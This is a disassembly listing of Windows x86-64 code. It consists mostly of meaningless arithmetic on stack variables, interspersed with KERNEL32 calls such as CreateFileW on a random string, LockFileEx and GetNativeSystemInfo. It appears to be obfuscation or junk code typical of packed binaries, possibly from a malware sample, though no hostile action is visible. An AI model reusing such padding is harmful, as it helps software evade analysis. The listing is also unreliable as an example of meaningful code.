mov dword [rsp + 0x95dc], eax
mov rax, qword [rsp + 0x13a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa93c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363a00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16a4]
movzx ecx, word [rsp + 0x29b8]
sub eax, ecx
mov word [rsp + 0x2b34], ax
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x14488], rax
movsx eax, word [rsp + 0x2a5c]
movsx ecx, word [rsp + 0x2a64]
or eax, ecx
mov rcx, qword [rsp + 0x13e80]
mov word [rcx], ax
lea rax, [rsp + 0x40c]
mov qword [rsp + 0x14490], rax
mov eax, dword [rsp + 0xac08]
mov ecx, dword [rsp + 0x7a90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa988], eax
mov rax, qword [rsp + 0x14070]
mov rcx, qword [rsp + 0x133c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13478]
mov dword [rcx], eax
movzx eax, byte [0x14035e4d5]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x24b], al
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x13d48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac2c], eax
movzx eax, word [rsp + 0x29b8]
mov rcx, qword [rsp + 0x142c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29a0], ax
lea rax, [rsp + 0x8414]
mov qword [0x140363c50], rax
mov eax, dword [rsp + 0xaa7c]
mov dword [rsp + 0xac34], eax
mov rax, qword [rsp + 0x13aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabb4]
shl eax, cl
mov rcx, qword [rsp + 0x13fd8]
mov dword [rcx], eax
lea rax, [rsp + 0xabfc]
mov qword [rsp + 0x14498], rax
mov rax, qword [0x140363bb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29b4]
xor eax, ecx
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x464]
or eax, ecx
mov rcx, qword [rsp + 0x138a0]
mov byte [rcx], al
mov eax, dword [0x140363ba0]
mov ecx, dword [rsp + 0x7410]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c98], eax
mov rax, qword [rsp + 0x13cb0]
mov rcx, qword [rsp + 0x13588]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa70], eax
lea rax, [rsp + 0xa938]
mov qword [rsp + 0x144a0], rax
mov rax, qword [rsp + 0x13ff8]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1403639a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f50]
mov rcx, qword [rsp + 0x13b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b30]
mov dword [rcx], eax
mov r9d, 0x202f
xor r8d, r8d
lea rdx, [rsp + 0x13ca8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac38], eax
movsx eax, byte [rsp + 0x68a]
movsx ecx, byte [rsp + 0x6b2]
sub eax, ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
movzx eax, word [0x14035cc20]
mov word [rsp + 0x2b4c], ax
mov rax, qword [rsp + 0x139b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x594]
sub eax, ecx
mov rcx, qword [rsp + 0x13870]
mov byte [rcx], al
lea rax, [rsp + 0x29b4]
mov qword [rsp + 0x144a8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab80], eax
mov rax, qword [0x140363a38]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13ca8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13e00]
mov ecx, dword [rsp + 0xa9ec]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13d38]
mov dword [rcx], eax
lea rax, [rsp + 0x6cb]
mov qword [rsp + 0x144b0], rax
lea rdx, [rsp + 0x144b8]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa10], eax
mov rax, qword [0x140363bd0]
movzx eax, word [rax]
mov word [0x140362e1c], ax
mov rax, qword [rsp + 0x13738]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ff0]
mov dword [rcx], eax
lea rax, [rsp + 0xaa3c]
mov qword [rsp + 0x144c0], rax
mov rax, qword [rsp + 0x14370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa920]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
mov rax, qword [rsp + 0x14148]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x142b0]
mov qword [rsp + 0x144c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x144c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x142f0]
mov dword [rcx], eax
lea rax, [rsp + 0x416]
mov qword [rsp + 0x144d0], rax
movzx eax, word [rsp + 0x2690]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a58], ax
lea rax, [rsp + 0xabbc]
mov qword [rsp + 0x144d8], rax
movzx ecx, word [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a24], ax
mov rax, qword [rsp + 0x13538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaab4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c20]
mov dword [rcx], eax
lea rax, [0x14035e4a7]
mov qword [0x140363c58], rax
movsx eax, word [rsp + 0x2a5c]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov word [rsp + 0x1e18], ax
mov rax, qword [rsp + 0x13458]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6cf], al
mov rax, qword [rsp + 0x13778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x21e4], ax
lea rdx, [rsp + 0x144e0]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa8c], eax
mov eax, dword [rsp + 0xa030]
mov dword [rsp + 0xac3c], eax
mov rax, qword [rsp + 0x13b28]
mov rcx, qword [rsp + 0x13a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x134c0]
mov dword [rcx], eax
lea rax, [rsp + 0x99e4]
mov qword [rsp + 0x144e8], rax
mov rax, qword [rsp + 0x13c88]
mov rcx, qword [rsp + 0x13e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaabc], eax
mov rax, qword [rsp + 0x139c8]
mov ecx, dword [rsp + 0x9d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa90c], eax
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
mov word [rsp + 0x2b50], ax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [rsp + 0x6c1]
sub eax, ecx
mov rcx, qword [0x140363b78]
mov byte [rcx], al
mov rax, qword [rsp + 0x13b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
lea rax, [rsp + 0x6bc0]
mov qword [rsp + 0x144f0], rax
mov rax, qword [rsp + 0x13730]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13460]
mov dword [rcx], eax
lea rcx, [rsp + 0x41bc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13f88]
mov ecx, dword [rsp + 0xac20]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13450]
mov dword [rcx], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x144f8], rax
mov rax, qword [rsp + 0x139b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4dc]
sar eax, cl
mov byte [rsp + 0x6d9], al
mov rax, qword [rsp + 0x13830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x136b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x400], al
mov rax, qword [rsp + 0x13e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x143d0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x13be0]
mov eax, dword [rax]
mov dword [0x140363bfc], eax
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
mov dword [rsp + 0xac40], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
movzx eax, byte [0x140353596]
movzx ecx, byte [rsp + 0x24b]
and eax, ecx
mov byte [rsp + 0x6ca], al
movzx eax, word [rsp + 0x2a84]
movzx ecx, word [rsp + 0x2af4]
and eax, ecx
mov word [rsp + 0x2b20], ax
lea rax, [rsp + 0x7908]
mov qword [rsp + 0x14500], rax
mov eax, dword [rsp + 0x6e80]
mov ecx, dword [rsp + 0xa948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaec], eax
mov rax, qword [rsp + 0x13ac0]
mov rcx, qword [rsp + 0x137a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8958], eax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ec]
and eax, ecx
mov rcx, qword [rsp + 0x132f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5fb]
movzx ecx, byte [rsp + 0x6c3]
add eax, ecx
mov byte [0x140353573], al
lea rax, [rsp + 0x7dfc]
mov qword [rsp + 0x14508], rax
lea rcx, [rsp + 0x41c58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaba4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
lea rax, [rsp + 0x66e0]
mov qword [rsp + 0x14510], rax
mov eax, dword [rsp + 0xabe0]
mov ecx, dword [0x140363be0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa3c], eax
mov eax, dword [rsp + 0xab90]
mov ecx, dword [rsp + 0xab3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134a8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a2c]
mov qword [rsp + 0x14518], rax
mov rax, qword [0x1403639b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d2]
add eax, ecx
mov rcx, qword [rsp + 0x14030]
mov byte [rcx], al
lea rax, [rsp + 0x328]
mov qword [rsp + 0x14520], rax
mov rcx, qword [rsp + 0x13200]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
sub eax, ecx
mov rcx, qword [0x140363b90]
mov word [rcx], ax
mov eax, dword [rsp + 0x8388]
mov rcx, qword [rsp + 0x13d08]
mov qword [rsp + 0x14528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14528]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f60]
mov rcx, qword [rsp + 0x142b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaadc], eax
lea rax, [rsp + 0x1088]
mov qword [rsp + 0x14530], rax
mov rax, qword [rsp + 0x13518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6c4], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x143a0]
mov eax, dword [rax]
mov dword [rsp + 0xac44], eax
mov eax, dword [rsp + 0x9c08]
mov ecx, dword [rsp + 0xaaf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c18], eax
lea rax, [rsp + 0xa99c]
mov qword [rsp + 0x14538], rax
mov r9d, 1
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x14540]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa38], eax
mov eax, dword [rsp + 0x8b00]
mov ecx, dword [rsp + 0x67e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
lea rax, [rsp + 0x184c]
mov qword [0x140363c60], rax
movzx eax, byte [rsp + 0x6be]
mov rcx, qword [rsp + 0x13e50]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
lea rax, [rsp + 0xa960]
mov qword [rsp + 0x14548], rax
mov rax, qword [rsp + 0x13c08]
mov rcx, qword [rsp + 0x13858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130e8]
movzx eax, word [rax]
mov word [rsp + 0x2b54], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
movsx eax, byte [rsp + 0x6d8]
mov rcx, qword [rsp + 0x13ef0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14490]
mov byte [rcx], al
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
mov rcx, qword [0x140363aa0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x141b8]
mov word [rcx], ax
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9f4], eax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x14550], rax
mov rax, qword [rsp + 0x13bb8]
mov rcx, qword [rsp + 0x13db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6304], eax
lea rax, [rsp + 0xa3f4]
mov qword [0x140363c68], rax
mov eax, dword [rsp + 0xaa68]
mov ecx, dword [0x14035cbf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f08], eax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa78c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac08], eax
mov rax, qword [rsp + 0x13d00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
lea rax, [rsp + 0x29ec]
mov qword [rsp + 0x14558], rax
movzx eax, byte [rsp + 0x42a]
mov rcx, qword [rsp + 0x14230]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4dc], al
lea rax, [rsp + 0x99e4]
mov qword [rsp + 0x14560], rax
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x874c]
shr eax, cl
mov rcx, qword [rsp + 0x13e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabdc]
mov rcx, qword [rsp + 0x13608]
mov qword [rsp + 0x14568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14568]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6554], eax
mov eax, dword [rsp + 0xa974]
mov ecx, dword [rsp + 0xaaf8]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639f8]
mov dword [rcx], eax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x14570], rax
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x142d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0x14578], rax
lea rdx, [rsp + 0x45d90]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab88], eax
mov rax, qword [rsp + 0x13250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b6]
sub eax, ecx
mov rcx, qword [rsp + 0x13d78]
mov byte [rcx], al
mov rax, qword [rsp + 0x13770]
mov eax, dword [rax]
mov dword [rsp + 0xac48], eax
mov rax, qword [rsp + 0x13680]
mov rcx, qword [0x140363ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabdc], eax
movzx eax, byte [rsp + 0x6b8]
movzx ecx, byte [rsp + 0x6d3]
and eax, ecx
mov rcx, qword [rsp + 0x13740]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x143e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0x13db0]
mov ecx, dword [rsp + 0xa030]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140363a80]
mov dword [rcx], eax
lea rcx, [rsp + 0x41aa8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xaae0]
mov ecx, dword [rsp + 0xa8e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c38]
mov eax, dword [rax]
mov dword [rsp + 0xac4c], eax
lea rcx, str.1k5l4t
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b58], ax
mov rax, qword [rsp + 0x142c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaafc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x66cc], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
lea rax, [rsp + 0x2b44]
mov qword [rsp + 0x14580], rax
mov rax, qword [rsp + 0x13748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x82ec]
mov dword [rsp + 0xac50], eax
mov rax, qword [0x140363950]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab24]
shr eax, cl
mov dword [rsp + 0x7dfc], eax
lea rax, [rsp + 0xa9e4]
mov qword [0x140363c70], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x23d3
mov r9d, 0x3e2b
mov r8d, 0xd538670c
mov edx, 2
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xab88], eax
mov rax, qword [rsp + 0x13fd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa24], eax
mov rax, qword [rsp + 0x14518]
movsx eax, word [rax]
mov rcx, qword [0x140363a28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2320], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
mov rax, qword [rsp + 0x13d28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68a]
or eax, ecx
mov byte [rsp + 0x6d2], al
lea rax, [rsp + 0x5fb]
mov qword [rsp + 0x14588], rax
movzx eax, word [rsp + 0x2a58]
movzx ecx, word [rsp + 0x2b24]
and eax, ecx
mov word [rsp + 0x17d4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.eS5DQbFZUXq7XXpc24IiEhgi3NBcE3y0pV2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14590], rax
mov rax, qword [rsp + 0x14168]
mov eax, dword [rax]
mov dword [rsp + 0xac54], eax
mov rax, qword [rsp + 0x14200]
mov ecx, dword [rsp + 0xa398]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x143a0]
mov dword [rcx], eax
movzx eax, byte [0x14035e4d4]
mov rcx, qword [rsp + 0x13670]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b5], al
mov rax, qword [rsp + 0x14298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
add eax, ecx
mov word [0x14035cc38], ax
lea rax, [rsp + 0xa2a4]
mov qword [rsp + 0x14598], rax
mov rax, qword [0x140363b60]
mov rcx, qword [rsp + 0x13aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
lea rax, [rsp + 0xabbc]
mov qword [rsp + 0x145a0], rax
mov rax, qword [rsp + 0x13da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa030], eax
mov rax, qword [rsp + 0x143e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14290]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x144c], ax
lea rax, [rsp + 0x594]
mov qword [rsp + 0x145a8], rax
mov eax, dword [rsp + 0x920c]
mov ecx, dword [rsp + 0x765c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14500]
mov rcx, qword [rsp + 0x13db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8380], eax
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1868]
add eax, ecx
mov word [0x140353b08], ax
mov rax, qword [rsp + 0x132b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d8]
xor eax, ecx
mov rcx, qword [rsp + 0x14340]
mov byte [rcx], al
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x137e0]
mov word [rcx], ax
lea rax, [rsp + 0x5fb]
mov qword [rsp + 0x145b0], rax
mov eax, dword [rsp + 0x6f68]
mov rcx, qword [0x140363b18]
mov qword [rsp + 0x145b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13898]
mov dword [rcx], eax
lea rax, [rsp + 0xabd8]
mov qword [rsp + 0x145c0], rax
mov rax, qword [rsp + 0x13c68]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaba8], eax
lea rax, [rsp + 0xaa40]
mov qword [rsp + 0x145c8], rax
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13430]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b1], al
lea rcx, [rsp + 0x41bf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363bb8]
mov word [rcx], ax
mov eax, dword [rsp + 0xaac0]
mov dword [rsp + 0xac58], eax
mov rax, qword [rsp + 0x13840]
mov rcx, qword [rsp + 0x13858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x841c], eax
lea rax, [rsp + 0xabbc]
mov qword [rsp + 0x145d0], rax
mov eax, dword [rsp + 0xaac0]
mov ecx, dword [rsp + 0x9568]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x898c], eax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c3], al
movzx eax, word [rsp + 0x2af0]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16dc], ax
movsx eax, byte [rsp + 0x6da]
movsx ecx, byte [rsp + 0x28f]
or eax, ecx
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
movzx eax, word [0x140362bf4]
mov word [rsp + 0x2b5c], ax
lea rax, [rsp + 0xab24]
mov qword [0x140363c78], rax
mov eax, dword [rsp + 0xaa24]
mov ecx, dword [rsp + 0x6bc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d90], eax
mov rax, qword [0x140363a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a84]
shl eax, cl
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov byte [rsp + 0x6e2], al
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [rsp + 0x14438]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13c98]
mov dword [rcx], eax
lea rax, [rsp + 0xaad4]
mov qword [rsp + 0x145d8], rax
mov rax, qword [rsp + 0x14138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabec]
sar eax, cl
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa724]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab18], eax
mov rax, qword [0x140363aa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51b]
add eax, ecx
mov byte [rsp + 0x282], al
lea rax, [rsp + 0x2a88]
mov qword [0x140363c80], rax
mov rax, qword [rsp + 0x141a0]
mov ecx, dword [rsp + 0xab0c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x13e00]
mov eax, dword [rax]
mov dword [rsp + 0xac5c], eax
mov rax, qword [rsp + 0x136f8]
mov ecx, dword [rsp + 0x8a08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa850], eax
lea rax, [rsp + 0x6788]
mov qword [rsp + 0x145e0], rax
mov eax, dword [rsp + 0x71c8]
mov ecx, dword [rsp + 0xabec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ab8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b0]
add eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
mov rax, qword [rsp + 0x13998]
movsx eax, word [rax]
movsx ecx, word [0x140362d84]
add eax, ecx
mov word [rsp + 0x1410], ax
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1778]
sub eax, ecx
mov rcx, qword [rsp + 0x13ba8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6bc]
sub eax, ecx
mov byte [0x140353577], al
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov dword [rsp + 0xac60], eax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e8], eax
movzx eax, word [rsp + 0x209c]
movzx ecx, word [rsp + 0x2ac4]
or eax, ecx
mov rcx, qword [rsp + 0x13480]
mov word [rcx], ax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
mov byte [rsp + 0x6e3], al
mov rax, qword [rsp + 0x13380]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa81c]
sar eax, cl
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14078]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13c78]
mov qword [rsp + 0x145e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x70c0], eax
